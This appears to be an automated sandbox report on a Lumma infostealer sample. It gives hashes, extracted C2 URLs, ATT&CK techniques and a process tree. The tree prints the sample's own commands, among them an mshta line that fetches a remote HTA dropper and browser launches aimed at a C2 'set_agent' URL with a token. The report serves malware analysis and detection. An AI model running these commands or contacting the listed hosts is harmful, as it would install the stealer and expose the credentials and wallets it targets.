lumma | 8b097a3037a707471a7abc9a304715f7731f4669b2bf5c823432e37c3d624a06

Analysis

max time kernel
149s
max time network
110s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
24/05/2026, 17:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
tmpcm0_1iwk.exe
Size 31.2MB
Sample260524-vszccafv2s
SHA256 8b097a3037a707471a7abc9a304715f7731f4669b2bf5c823432e37c3d624a06
MD5 157887310c3de64f781ddb7c23a8f73f
SHA1 00664758ab7384ca779de62e534818fd7b50c7be
SHA512 1d582e66db581b1d310a5966eaef291cc0eb358c5055414620fee4192fa1312ab105722b2b8bb111e204c7218945db13e40d512ddacce902d104e7ce8d41ea52
SSDEEP 393216:p+tQdVBFmKlgHCHeQOnJZjjUKLS5muvSntbLy88E+ulu39qdT2d:ppzitV9RuF
TLSH
T10767CF12B7E84166E4B7973098B79622AB36BD511B31C3CF1294B62D2E737C09F31726
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery lumma persistence spyware stealer

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://snconor.vg

Extracted

Family

lumma

https://springvc.cyou
https://decrnoj.club/xxx
https://pomflgf.vu/help
https://carytui.vu/caccc
https://mushxhb.best/info
https://genugsq.best/main
https://ulmudhw.shop/create
https://strikql.shop/owner
https://longmbx.click/manifest

Attributes

build_id
83af73e8484fc9f764374a223760d87d773a2c346e

Signatures

Family: Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
73	5932	mshta.exe
74	5932	mshta.exe
75	5932	mshta.exe
76	5932	mshta.exe
77	5932	mshta.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmpcm0_1iwk.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3948	chrome.exe
2020	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\Styles	mshta.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\Styles\MaxScriptStatements = "10000000"	mshta.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134241165663415086"	chrome.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1768642833-2142038154-4041560723-1000\{60BD994A-751E-4279-A09C-2B8BB3FAA23F}	msedge.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
5636	tmpcm0_1iwk.exe
5636	tmpcm0_1iwk.exe
5636	tmpcm0_1iwk.exe
5636	tmpcm0_1iwk.exe
5188	chrome.exe
5188	chrome.exe
5636	tmpcm0_1iwk.exe
5636	tmpcm0_1iwk.exe
5636	tmpcm0_1iwk.exe
5636	tmpcm0_1iwk.exe
5636	tmpcm0_1iwk.exe
5636	tmpcm0_1iwk.exe
5636	tmpcm0_1iwk.exe
5636	tmpcm0_1iwk.exe
5636	tmpcm0_1iwk.exe
5636	tmpcm0_1iwk.exe
5636	tmpcm0_1iwk.exe
5636	tmpcm0_1iwk.exe
5636	tmpcm0_1iwk.exe
5636	tmpcm0_1iwk.exe
5636	tmpcm0_1iwk.exe
5636	tmpcm0_1iwk.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5992	msedge.exe
5992	msedge.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5188	chrome.exe
Token: SeCreatePagefilePrivilege	5188	chrome.exe
Token: SeShutdownPrivilege	5188	chrome.exe
Token: SeCreatePagefilePrivilege	5188	chrome.exe
Token: SeShutdownPrivilege	5188	chrome.exe
Token: SeCreatePagefilePrivilege	5188	chrome.exe
Token: SeShutdownPrivilege	5188	chrome.exe
Token: SeCreatePagefilePrivilege	5188	chrome.exe
Token: SeShutdownPrivilege	5188	chrome.exe
Token: SeCreatePagefilePrivilege	5188	chrome.exe
Token: SeShutdownPrivilege	5188	chrome.exe
Token: SeCreatePagefilePrivilege	5188	chrome.exe
Token: SeSecurityPrivilege	5932	mshta.exe
Token: SeSecurityPrivilege	5932	mshta.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5188	chrome.exe
5992	msedge.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 5636 wrote to memory of 5188	5636	tmpcm0_1iwk.exe	81
PID 5188 wrote to memory of 6132	5188	chrome.exe	82
PID 5188 wrote to memory of 3312	5188	chrome.exe	83
PID 5188 wrote to memory of 3312	5188	chrome.exe	83
PID 5188 wrote to memory of 3948	5188	chrome.exe	84
PID 5188 wrote to memory of 1760	5188	chrome.exe	85
PID 5188 wrote to memory of 1760	5188	chrome.exe	85
PID 5188 wrote to memory of 4556	5188	chrome.exe	86
PID 5188 wrote to memory of 5832	5188	chrome.exe	87
PID 5188 wrote to memory of 4556	5188	chrome.exe	86
PID 5188 wrote to memory of 5832	5188	chrome.exe	87
PID 5188 wrote to memory of 6056	5188	chrome.exe	89
PID 5188 wrote to memory of 6056	5188	chrome.exe	89
PID 5188 wrote to memory of 5940	5188	chrome.exe	90
PID 5636 wrote to memory of 5992	5636	tmpcm0_1iwk.exe	92
PID 5992 wrote to memory of 5404	5992	msedge.exe	93
PID 5992 wrote to memory of 2020	5992	msedge.exe	94
PID 5992 wrote to memory of 1276	5992	msedge.exe	95
PID 5992 wrote to memory of 1276	5992	msedge.exe	95
PID 5992 wrote to memory of 1276	5992	msedge.exe	95
PID 5992 wrote to memory of 5920	5992	msedge.exe	96
PID 5992 wrote to memory of 5920	5992	msedge.exe	96
PID 5992 wrote to memory of 244	5992	msedge.exe	98
PID 5992 wrote to memory of 244	5992	msedge.exe	98
PID 5992 wrote to memory of 244	5992	msedge.exe	98
PID 5992 wrote to memory of 340	5992	msedge.exe	99
PID 5992 wrote to memory of 340	5992	msedge.exe	99
PID 5992 wrote to memory of 340	5992	msedge.exe	99
PID 5992 wrote to memory of 5872	5992	msedge.exe	100
PID 5992 wrote to memory of 3988	5992	msedge.exe	101
PID 5992 wrote to memory of 5872	5992	msedge.exe	100
PID 5992 wrote to memory of 3988	5992	msedge.exe	101
PID 5992 wrote to memory of 5400	5992	msedge.exe	102
PID 5992 wrote to memory of 5468	5992	msedge.exe	104
PID 5400 wrote to memory of 4216	5400	msedge.exe	105
PID 5992 wrote to memory of 4708	5992	msedge.exe	106
PID 4708 wrote to memory of 5476	4708	msedge.exe	107
PID 5636 wrote to memory of 5932	5636	tmpcm0_1iwk.exe	110

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\tmpcm0_1iwk.exe
"C:\Users\Admin\AppData\Local\Temp\tmpcm0_1iwk.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5636
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" springvc.cyou/api/set_agent?id=A23FC550BD24956701AEC7B30ADF174C&token=83af73e8484fc9f764374a223760d87d773a2c346e&description=&agent=Chrome
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:5188
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffed269c728,0x7ffed269c734,0x7ffed269c740
    3⤵
    PID:6132
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1652,i,11435800377599957582,6106410194343891385,262144 --field-trial-handle=1992,i,1443597424136121026,18160873417787744570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1988 /prefetch:2
    3⤵
    PID:3312
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2120,i,4321446994791320602,17482349745307852107,524288 --field-trial-handle=1992,i,1443597424136121026,18160873417787744570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2268 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3948
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2416,i,17350936245939823531,3210613759786093790,524288 --field-trial-handle=1992,i,1443597424136121026,18160873417787744570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2372 /prefetch:13
    3⤵
    PID:1760
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3088,i,18044682731889916903,7537832843704424632,2097152 --field-trial-handle=1992,i,1443597424136121026,18160873417787744570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3108 /prefetch:1
    3⤵
    PID:4556
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3116,i,16546696211488123187,13084110509007821072,2097152 --field-trial-handle=1992,i,1443597424136121026,18160873417787744570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3132 /prefetch:1
    3⤵
    PID:5832
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4236,i,726766493960560774,5864060941995962143,2097152 --field-trial-handle=1992,i,1443597424136121026,18160873417787744570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4200 /prefetch:9
    3⤵
    PID:6056
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5264,i,2822470359375763003,3296961421029449355,524288 --field-trial-handle=1992,i,1443597424136121026,18160873417787744570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5280 /prefetch:14
    3⤵
    PID:5940
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" springvc.cyou/api/set_agent?id=A23FC550BD24956701AEC7B30ADF174C&token=83af73e8484fc9f764374a223760d87d773a2c346e&description=&agent=Edge
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:5992
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x368,0x7ffed24cc188,0x7ffed24cc194,0x7ffed24cc1a0
    3⤵
    PID:5404
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1832,i,17343382203844865929,14064485077409266158,524288 --field-trial-handle=2192,i,17292042783909725021,15410615295874974511,262144 --variations-seed-version --mojo-platform-channel-handle=2228 /prefetch:11
    3⤵
    - System Time Discovery
    PID:2020
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1636,i,3253140047048326082,1311254803452810151,262144 --field-trial-handle=2192,i,17292042783909725021,15410615295874974511,262144 --variations-seed-version --mojo-platform-channel-handle=2188 /prefetch:2
    3⤵
    PID:1276
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2472,i,772516056619237577,13490027560036678043,524288 --field-trial-handle=2192,i,17292042783909725021,15410615295874974511,262144 --variations-seed-version --mojo-platform-channel-handle=2460 /prefetch:13
    3⤵
    PID:5920
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3460,i,16425648613865808535,827411294902481243,2097152 --field-trial-handle=2192,i,17292042783909725021,15410615295874974511,262144 --variations-seed-version --mojo-platform-channel-handle=3536 /prefetch:1
    3⤵
    PID:244
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3464,i,17126352136685603119,13354752140364993152,2097152 --field-trial-handle=2192,i,17292042783909725021,15410615295874974511,262144 --variations-seed-version --mojo-platform-channel-handle=3540 /prefetch:1
    3⤵
    PID:340
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4860,i,6232680153337216197,16427196207226290366,524288 --field-trial-handle=2192,i,17292042783909725021,15410615295874974511,262144 --variations-seed-version --mojo-platform-channel-handle=4892 /prefetch:14
    3⤵
    PID:5872
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4872,i,6019450020301183132,16517862528029471780,524288 --field-trial-handle=2192,i,17292042783909725021,15410615295874974511,262144 --variations-seed-version --mojo-platform-channel-handle=4908 /prefetch:14
    3⤵
    PID:3988
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5896,i,16440390189313079786,2680142035026609585,524288 --field-trial-handle=2192,i,17292042783909725021,15410615295874974511,262144 --variations-seed-version --mojo-platform-channel-handle=5960 /prefetch:14
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5400
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
      cookie_exporter.exe --cookie-json=1128
      4⤵
      PID:4216
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6008,i,5904276272742571696,6599193250414282711,524288 --field-trial-handle=2192,i,17292042783909725021,15410615295874974511,262144 --variations-seed-version --mojo-platform-channel-handle=6024 /prefetch:14
    3⤵
    PID:4040
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6008,i,5904276272742571696,6599193250414282711,524288 --field-trial-handle=2192,i,17292042783909725021,15410615295874974511,262144 --variations-seed-version --mojo-platform-channel-handle=6024 /prefetch:14
    3⤵
    PID:5468
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6108,i,10520119139539864140,8748496532971173894,524288 --field-trial-handle=2192,i,17292042783909725021,15410615295874974511,262144 --variations-seed-version --mojo-platform-channel-handle=6060 /prefetch:14
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4708
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
      cookie_exporter.exe --cookie-json=596
      4⤵
      PID:5476
- C:\Windows\SYSTEM32\mshta.exe
  mshta.exe https://snconor.vg
  2⤵
  - Badlisted process makes network request
  - Modifies Internet Explorer settings
  - Suspicious use of AdjustPrivilegeToken
  PID:5932

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:6016

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1848

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5948

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 b805838b6b87eaefc12915a4d731a405237a07a953c83decd88379c885eaa753
MD5 44c801dafd2b4b848c4b0318c0af3b52
SHA1 4213cfd2aa7fb7da03f060b3b0bc132b715ed83b
SHA512 2db2b6ee303e13cea0db28083dd0a0cb91255bfa316093d525f9a8584cf3c55ff24d114c9e2519a16f3311a5ed4dc10cf986c427395d5f96c9eb2bc27b13c7c4
TLSH
T1FAF0F9BAC920EC7714FC4B1930944B4BF75417572780485F3A3C960D4FB577B458681C
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
Size 138KB
SHA256 c9bb3dfeab2195f3e732330861b3388197495476330bee0fc13726ce54442544
MD5 8692d5943cb9962741b5a8cbfd132662
SHA1 183c26301831885f577f125b0c6e15ac738dfa62
SHA512 43706aefa2434d2f378099b90e36cb313501d79ac24202c9b012017c5a1e353107ec413b3ff705195bee42817b5660f89c9bdebdfa096578688ecab63c427752
SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2OygDSVumdnr:1nbZeMrv/hGtygDcnr
TLSH
T135D3854B3A747102EDE5DA721CF050BB5D3CB16D8F55A5D428B620688EF2863A23D4BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
Size 13B
SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
MD5 43ef949d3c6e9956545979ace65d0085
SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 8955254b591cc650e58cfbeac0905a97ebc408dfe1562bca431f8d1a7f456385
MD5 b85f80053c49ec4ebaa676d5a870d291
SHA1 9944241f8b31db375977684aaacc9f32a12674a1
SHA512 79c167eca7f91679fffb1c6eb041cb21732dc2f27a0b944f8faf1e75a2fe626922e86227f59db8c8730cc8b467c53ccc78f681436155907ced4acf076a11d09c
SSDEEP 3072:nzWs4B7zxAQ0xVOnXTZpY3g9DzcU0/DlblAITog:zWDfxA3OnjrYQ9EU0/hEg
TLSH
T164C302A15C35BC660CF8EE99744C3F60BFF4AD9A91879DC362E91B4D24FA5C81139930
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 b24846f4bb01e57dd47994ee8ca33e14a6a356938971c33205ed76a4fe3c7b61
MD5 2415c177850265ec333bf407bedd2c4b
SHA1 2ccfbe660996437603bf4e0b70309310c3095994
